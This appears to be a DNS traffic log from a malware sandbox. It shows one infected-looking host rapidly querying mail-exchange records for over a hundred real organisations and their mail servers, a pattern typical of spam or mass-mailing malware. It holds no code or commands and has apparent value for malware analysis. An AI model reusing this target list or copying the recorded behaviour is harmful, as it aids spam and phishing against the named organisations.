Aug 24, 2023 19:04:29.361836910 CEST	192.168.2.8	8.8.8.8	0xc7f7	Standard query (0)	pacbell.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:29.368658066 CEST	192.168.2.8	8.8.8.8	0x3904	Standard query (0)	mx2.biz.rr.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:29.421955109 CEST	192.168.2.8	8.8.8.8	0xf13b	Standard query (0)	mevotech.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:29.464390993 CEST	192.168.2.8	8.8.8.8	0x9e44	Standard query (0)	mevotech-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:29.782883883 CEST	192.168.2.8	8.8.8.8	0x1f3c	Standard query (0)	dccnet.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:29.822491884 CEST	192.168.2.8	8.8.8.8	0x3717	Standard query (0)	mx.eastlink.ca	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:29.841641903 CEST	192.168.2.8	8.8.8.8	0xe849	Standard query (0)	google.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:29.872735977 CEST	192.168.2.8	8.8.8.8	0x3722	Standard query (0)	smtp.google.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:29.921658993 CEST	192.168.2.8	8.8.8.8	0x3107	Standard query (0)	bridgetree.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:29.965878963 CEST	192.168.2.8	8.8.8.8	0xfc80	Standard query (0)	bridgetree-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:29.988130093 CEST	192.168.2.8	8.8.8.8	0x776f	Standard query (0)	aero.bombardier.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:30.016896009 CEST	192.168.2.8	8.8.8.8	0x5e02	Standard query (0)	aero-bombardier-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:30.129183054 CEST	192.168.2.8	8.8.8.8	0xd894	Standard query (0)	bloorhomes.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:30.198575974 CEST	192.168.2.8	8.8.8.8	0x39c	Standard query (0)	eu-smtp-inbound-2.mimecast.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:30.284001112 CEST	192.168.2.8	8.8.8.8	0xcd97	Standard query (0)	mxb-00146707.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:30.388500929 CEST	192.168.2.8	8.8.8.8	0x4969	Standard query (0)	norfolkcounty.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:30.432578087 CEST	192.168.2.8	8.8.8.8	0x6d1d	Standard query (0)	norfolkcounty-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:30.497893095 CEST	192.168.2.8	8.8.8.8	0x23e8	Standard query (0)	dayspringspublishing.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:30.580881119 CEST	192.168.2.8	8.8.8.8	0x3074	Standard query (0)	mx2.titan.email	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:30.674031019 CEST	192.168.2.8	8.8.8.8	0xdcc3	Standard query (0)	business.queensu.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:30.763423920 CEST	192.168.2.8	8.8.8.8	0x4d7d	Standard query (0)	gghorg.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:30.793040991 CEST	192.168.2.8	8.8.8.8	0x5040	Standard query (0)	mail.gghorg.ca	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:30.825746059 CEST	192.168.2.8	8.8.8.8	0x1235	Standard query (0)	usd259.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:30.845046043 CEST	192.168.2.8	8.8.8.8	0xea3	Standard query (0)	mailgw.queensu.ca	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:30.890769958 CEST	192.168.2.8	8.8.8.8	0x85f3	Standard query (0)	bredband.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:30.924622059 CEST	192.168.2.8	8.8.8.8	0xd26b	Standard query (0)	specialty-care.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:30.965100050 CEST	192.168.2.8	8.8.8.8	0xe099	Standard query (0)	mxa-00328d01.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:30.971028090 CEST	192.168.2.8	8.8.8.8	0x91c3	Standard query (0)	usd259-net.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:31.026478052 CEST	192.168.2.8	8.8.8.8	0x96c7	Standard query (0)	mx1c51.megamailservers.eu	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:31.044702053 CEST	192.168.2.8	8.8.8.8	0x65dd	Standard query (0)	mx01.mail.icloud.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:31.099370956 CEST	192.168.2.8	8.8.8.8	0x451	Standard query (0)	vancouver.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:31.110969067 CEST	192.168.2.8	8.8.8.8	0x235c	Standard query (0)	sprynet.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:31.185827017 CEST	192.168.2.8	8.8.8.8	0xb1b7	Standard query (0)	zoetis.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:31.235193014 CEST	192.168.2.8	8.8.8.8	0x9684	Standard query (0)	mxb-004d2801.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:31.279243946 CEST	192.168.2.8	8.8.8.8	0xc7f8	Standard query (0)	mxa-00320301.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:31.451160908 CEST	192.168.2.8	8.8.8.8	0xcf3	Standard query (0)	mx.cogeco.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:31.586188078 CEST	192.168.2.8	8.8.8.8	0x2bfd	Standard query (0)	mxa-00153401.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:31.606925011 CEST	192.168.2.8	8.8.8.8	0xb64c	Standard query (0)	lowes.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:31.637927055 CEST	192.168.2.8	8.8.8.8	0x753c	Standard query (0)	mxb-00308801.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:31.700917959 CEST	192.168.2.8	8.8.8.8	0x2f4e	Standard query (0)	tc.tc	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:31.799307108 CEST	192.168.2.8	8.8.8.8	0x290d	Standard query (0)	tc-tc.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.092967987 CEST	192.168.2.8	8.8.8.8	0x67af	Standard query (0)	chrc-ccdp.gc.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:32.159693956 CEST	192.168.2.8	8.8.8.8	0x778c	Standard query (0)	innomagazine.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:32.311937094 CEST	192.168.2.8	8.8.8.8	0x76f5	Standard query (0)	fuse.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:32.313924074 CEST	192.168.2.8	8.8.8.8	0x6ade	Standard query (0)	fairmont.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:32.368664980 CEST	192.168.2.8	8.8.8.8	0x358	Standard query (0)	mx2.hc910-8.c3s2.iphmx.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.405112028 CEST	192.168.2.8	8.8.8.8	0x7918	Standard query (0)	icscourier.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:32.425782919 CEST	192.168.2.8	8.8.8.8	0xf13a	Standard query (0)	innomagazine-com.p30.spamhero.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.434079885 CEST	192.168.2.8	8.8.8.8	0x975b	Standard query (0)	mxa-00183301.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.471497059 CEST	192.168.2.8	8.8.8.8	0x8330	Standard query (0)	live.co.uk	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:32.476505041 CEST	192.168.2.8	8.8.8.8	0xefb7	Standard query (0)	mx2.fuse.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.492719889 CEST	192.168.2.8	8.8.8.8	0xa2d3	Standard query (0)	eur.olc.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.638613939 CEST	192.168.2.8	8.8.8.8	0x69fc	Standard query (0)	redrockpets.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:32.673649073 CEST	192.168.2.8	8.8.8.8	0x64e0	Standard query (0)	mx.sympatico.ca	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:32.841571093 CEST	192.168.2.8	8.8.8.8	0x9a4a	Standard query (0)	natejohnson.biz	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:32.857353926 CEST	192.168.2.8	8.8.8.8	0xe644	Standard query (0)	mosaicco.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:32.889126062 CEST	192.168.2.8	8.8.8.8	0x5c90	Standard query (0)	mosaicco-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:33.014008045 CEST	192.168.2.8	8.8.8.8	0x856d	Standard query (0)	central.com.pe	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:33.078274965 CEST	192.168.2.8	8.8.8.8	0x59a2	Standard query (0)	sears.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:33.088479996 CEST	192.168.2.8	8.8.8.8	0x67af	Standard query (0)	chrc-ccdp.gc.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:33.112888098 CEST	192.168.2.8	8.8.8.8	0x94f9	Standard query (0)	sears-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:33.138916016 CEST	192.168.2.8	8.8.8.8	0x3218	Standard query (0)	chrcccdp-gc-ca01b.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:33.185565948 CEST	192.168.2.8	8.8.8.8	0x4c3b	Standard query (0)	nsk-corp.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:33.314620972 CEST	192.168.2.8	8.8.8.8	0x5f9a	Standard query (0)	clasg.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:33.321362019 CEST	192.168.2.8	8.8.8.8	0xf3c4	Standard query (0)	cluster5.us.messagelabs.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:33.354959011 CEST	192.168.2.8	8.8.8.8	0x8ca9	Standard query (0)	clasg-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:33.357867002 CEST	192.168.2.8	8.8.8.8	0x1262	Standard query (0)	live.no	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:33.389841080 CEST	192.168.2.8	8.8.8.8	0x6041	Standard query (0)	sheraton.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:33.429923058 CEST	192.168.2.8	8.8.8.8	0xb01a	Standard query (0)	mail.marriott.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:33.493264914 CEST	192.168.2.8	8.8.8.8	0x1956	Standard query (0)	fountainheaddev.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:33.547756910 CEST	192.168.2.8	8.8.8.8	0xab16	Standard query (0)	ellisdon.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:33.574692011 CEST	192.168.2.8	8.8.8.8	0x5d60	Standard query (0)	fountainheaddev.com.2.0001.arsmtp.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:33.590256929 CEST	192.168.2.8	8.8.8.8	0x604d	Standard query (0)	ellisdon-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:33.614475965 CEST	192.168.2.8	8.8.8.8	0xb85c	Standard query (0)	usask-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:33.701522112 CEST	192.168.2.8	8.8.8.8	0x8ca6	Standard query (0)	boatrocker.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:33.738826036 CEST	192.168.2.8	8.8.8.8	0x173f	Standard query (0)	boatrocker-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:33.812982082 CEST	192.168.2.8	8.8.8.8	0x9fce	Standard query (0)	douglascollege.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:33.867113113 CEST	192.168.2.8	8.8.8.8	0x5590	Standard query (0)	douglascollege-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:34.029536963 CEST	192.168.2.8	8.8.8.8	0xb66f	Standard query (0)	sods.sk.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:34.186253071 CEST	192.168.2.8	8.8.8.8	0x44f7	Standard query (0)	nait-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:34.194422007 CEST	192.168.2.8	8.8.8.8	0x8229	Standard query (0)	sods-sk-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:34.248107910 CEST	192.168.2.8	8.8.8.8	0x7c20	Standard query (0)	stemfellowship.org	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:34.342658043 CEST	192.168.2.8	8.8.8.8	0x225f	Standard query (0)	nshealth-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:34.442240000 CEST	192.168.2.8	8.8.8.8	0xea77	Standard query (0)	touchgraphics.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:34.500217915 CEST	192.168.2.8	8.8.8.8	0xe680	Standard query (0)	exchange.hsc.mb.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:34.667121887 CEST	192.168.2.8	8.8.8.8	0xdadd	Standard query (0)	mx.ca.email.fireeyecloud.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:34.676265001 CEST	192.168.2.8	8.8.8.8	0x5bff	Standard query (0)	rsagroup.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:34.716403008 CEST	192.168.2.8	8.8.8.8	0x844e	Standard query (0)	cpaburr.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:34.722177982 CEST	192.168.2.8	8.8.8.8	0xf957	Standard query (0)	rsagroup-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:34.784199953 CEST	192.168.2.8	8.8.8.8	0xc7c0	Standard query (0)	mts.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:34.847174883 CEST	192.168.2.8	8.8.8.8	0x8315	Standard query (0)	mx-rogers.mail.am0.yahoodns.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:34.920536041 CEST	192.168.2.8	8.8.8.8	0xc461	Standard query (0)	nbed.nb.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:34.961199999 CEST	192.168.2.8	8.8.8.8	0x84bd	Standard query (0)	nbed-nb-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:35.045339108 CEST	192.168.2.8	8.8.8.8	0xcd2d	Standard query (0)	albertahealthservices.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:35.099160910 CEST	192.168.2.8	8.8.8.8	0x94e1	Standard query (0)	albertahealthservices-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:35.123441935 CEST	192.168.2.8	8.8.8.8	0xaf07	Standard query (0)	arts.ryerson.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:35.187808037 CEST	192.168.2.8	8.8.8.8	0x579b	Standard query (0)	shomi.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:35.268050909 CEST	192.168.2.8	8.8.8.8	0x842f	Standard query (0)	nutreco.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:35.268511057 CEST	192.168.2.8	8.8.8.8	0x8e84	Standard query (0)	rscan.ryerson.ca	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:35.297982931 CEST	192.168.2.8	8.8.8.8	0x9fca	Standard query (0)	nutreco-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:35.456334114 CEST	192.168.2.8	8.8.8.8	0xd8b7	Standard query (0)	alpinenorth.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:35.550928116 CEST	192.168.2.8	8.8.8.8	0x500c	Standard query (0)	schneider-electric.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:35.578958988 CEST	192.168.2.8	8.8.8.8	0x6c1f	Standard query (0)	schneiderelectric-com02c.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:35.630898952 CEST	192.168.2.8	8.8.8.8	0x4db7	Standard query (0)	utoronto-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:35.638449907 CEST	192.168.2.8	8.8.8.8	0xc8e6	Standard query (0)	mx.alpinenorth.ca.cust.a.hostedemail.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:35.640147924 CEST	192.168.2.8	8.8.8.8	0x8416	Standard query (0)	bctonline.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:35.797516108 CEST	192.168.2.8	8.8.8.8	0xd73c	Standard query (0)	klick.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:35.826183081 CEST	192.168.2.8	8.8.8.8	0xf10e	Standard query (0)	bctonline-com.mx.av-mx.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:35.924773932 CEST	192.168.2.8	8.8.8.8	0x6dc6	Standard query (0)	snfhc.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:35.993801117 CEST	192.168.2.8	8.8.8.8	0x7d1	Standard query (0)	mxfr01.rms.alcatraz.fr	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:36.092293024 CEST	192.168.2.8	8.8.8.8	0xf595	Standard query (0)	champlaincollege.qc.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:36.148588896 CEST	192.168.2.8	8.8.8.8	0x999a	Standard query (0)	champlaincollege-qc-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:36.170988083 CEST	192.168.2.8	8.8.8.8	0x6e0a	Standard query (0)	uwo.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:36.185266018 CEST	192.168.2.8	8.8.8.8	0x51bd	Standard query (0)	productividadempresarial.com.co	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:36.312045097 CEST	192.168.2.8	8.8.8.8	0x506d	Standard query (0)	uwo-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:36.482673883 CEST	192.168.2.8	8.8.8.8	0x34fc	Standard query (0)	speedycash.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:36.527264118 CEST	192.168.2.8	8.8.8.8	0x8010	Standard query (0)	inbound-smtp.us-east-1.amazonaws.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:36.545386076 CEST	192.168.2.8	8.8.8.8	0xfff8	Standard query (0)	securitas.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:36.571607113 CEST	192.168.2.8	8.8.8.8	0xdd78	Standard query (0)	securitas-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:36.609639883 CEST	192.168.2.8	8.8.8.8	0x422b	Standard query (0)	sportsrockland.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:36.660900116 CEST	192.168.2.8	8.8.8.8	0xf069	Standard query (0)	fortis.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:36.781842947 CEST	192.168.2.8	8.8.8.8	0x9ced	Standard query (0)	aecl.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:36.817238092 CEST	192.168.2.8	8.8.8.8	0xd5c4	Standard query (0)	AECL-CA.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:36.863945007 CEST	192.168.2.8	8.8.8.8	0xabed	Standard query (0)	london.edu	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:36.873348951 CEST	192.168.2.8	8.8.8.8	0xed04	Standard query (0)	sccoast.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:36.890330076 CEST	192.168.2.8	8.8.8.8	0x5cd4	Standard query (0)	eu-smtp-inbound-1.mimecast.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:36.966864109 CEST	192.168.2.8	8.8.8.8	0x897c	Standard query (0)	thewebadvisors.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:37.019803047 CEST	192.168.2.8	8.8.8.8	0x6dcd	Standard query (0)	mx.sccoast.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:37.048561096 CEST	192.168.2.8	8.8.8.8	0x3db5	Standard query (0)	olympiatile.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:37.107971907 CEST	192.168.2.8	8.8.8.8	0x821f	Standard query (0)	blood.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:37.236536980 CEST	192.168.2.8	8.8.8.8	0x198d	Standard query (0)	mx2.blood.ca	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:37.279136896 CEST	192.168.2.8	8.8.8.8	0x9d96	Standard query (0)	interbaun.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:37.310795069 CEST	192.168.2.8	8.8.8.8	0xced7	Standard query (0)	eircom.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:37.372966051 CEST	192.168.2.8	8.8.8.8	0xb762	Standard query (0)	eir-08.mx.a.cloudfilter.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:37.442461967 CEST	192.168.2.8	8.8.8.8	0x8b8	Standard query (0)	lausd.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:37.493482113 CEST	192.168.2.8	8.8.8.8	0x7a81	Standard query (0)	mx0.uniserve.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:37.643986940 CEST	192.168.2.8	8.8.8.8	0xdc2a	Standard query (0)	lausd-net.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:37.747200966 CEST	192.168.2.8	8.8.8.8	0x1b1	Standard query (0)	verizon.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:37.852287054 CEST	192.168.2.8	8.8.8.8	0xc95d	Standard query (0)	homedepot.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:37.878144026 CEST	192.168.2.8	8.8.8.8	0x34a9	Standard query (0)	mxb-000e6601.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:37.920473099 CEST	192.168.2.8	8.8.8.8	0xd78	Standard query (0)	cherymotors.cl	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:37.955234051 CEST	192.168.2.8	8.8.8.8	0x3f5e	Standard query (0)	mail.h-email.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:38.034032106 CEST	192.168.2.8	8.8.8.8	0xdfc5	Standard query (0)	crisplinens.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:38.092420101 CEST	192.168.2.8	8.8.8.8	0xde36	Standard query (0)	mx-eu.mail.am0.yahoodns.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:38.155647039 CEST	192.168.2.8	8.8.8.8	0xc76d	Standard query (0)	chp11-99.org	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:38.211380959 CEST	192.168.2.8	8.8.8.8	0x1619	Standard query (0)	chp11-99.org.1.0001.arsmtp.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:38.333127975 CEST	192.168.2.8	8.8.8.8	0x56a4	Standard query (0)	quantofinancial.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:38.394857883 CEST	192.168.2.8	8.8.8.8	0x491e	Standard query (0)	email.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:38.516632080 CEST	192.168.2.8	8.8.8.8	0x2704	Standard query (0)	333scout.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:38.608659983 CEST	192.168.2.8	8.8.8.8	0x6585	Standard query (0)	dream.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:38.780677080 CEST	192.168.2.8	8.8.8.8	0xc21d	Standard query (0)	manitoulintransport.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:38.940550089 CEST	192.168.2.8	8.8.8.8	0xfa98	Standard query (0)	kruger-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:39.285126925 CEST	192.168.2.8	8.8.8.8	0x9fe	Standard query (0)	btconnect.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:39.295691967 CEST	192.168.2.8	8.8.8.8	0x475a	Standard query (0)	bancroftschool.org	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:39.346381903 CEST	192.168.2.8	8.8.8.8	0x544f	Standard query (0)	btconnect-com.mail.eo.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:39.532002926 CEST	192.168.2.8	8.8.8.8	0x8b5e	Standard query (0)	oakridgelandscape.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:39.623738050 CEST	192.168.2.8	8.8.8.8	0x319c	Standard query (0)	netscape.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:39.626424074 CEST	192.168.2.8	8.8.8.8	0x8ea2	Standard query (0)	oakridgelandscape-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:39.676609039 CEST	192.168.2.8	8.8.8.8	0x75b1	Standard query (0)	chartermi.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:39.705712080 CEST	192.168.2.8	8.8.8.8	0xa481	Standard query (0)	nbnet.nb.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:39.819447994 CEST	192.168.2.8	8.8.8.8	0x6b80	Standard query (0)	lafarge.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:39.890079021 CEST	192.168.2.8	8.8.8.8	0x3929	Standard query (0)	invis.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:39.912828922 CEST	192.168.2.8	8.8.8.8	0x6b86	Standard query (0)	mx1.charter.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:39.919344902 CEST	192.168.2.8	8.8.8.8	0xea53	Standard query (0)	invis-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:39.968580008 CEST	192.168.2.8	8.8.8.8	0x9ee8	Standard query (0)	amdocs.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:40.014691114 CEST	192.168.2.8	8.8.8.8	0x8029	Standard query (0)	mx4.amdocs.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:40.217292070 CEST	192.168.2.8	8.8.8.8	0xc9d3	Standard query (0)	nvsd44.bc.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:40.362728119 CEST	192.168.2.8	8.8.8.8	0x5b4	Standard query (0)	admiralpkg.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:40.397542953 CEST	192.168.2.8	8.8.8.8	0xf5a8	Standard query (0)	nvsd44-bc-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:40.506688118 CEST	192.168.2.8	8.8.8.8	0xff19	Standard query (0)	admiralpkg-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:40.863555908 CEST	192.168.2.8	8.8.8.8	0x4571	Standard query (0)	velocitytrade.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:04:40.919589996 CEST	192.168.2.8	8.8.8.8	0xffa5	Standard query (0)	velocitytrade-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:04:40.941004992 CEST	192.168.2.8	8.8.8.8	0x6eb9	Standard query (0)	cjbrown.com	MX (Mail exchange)	IN (0x0001)	false
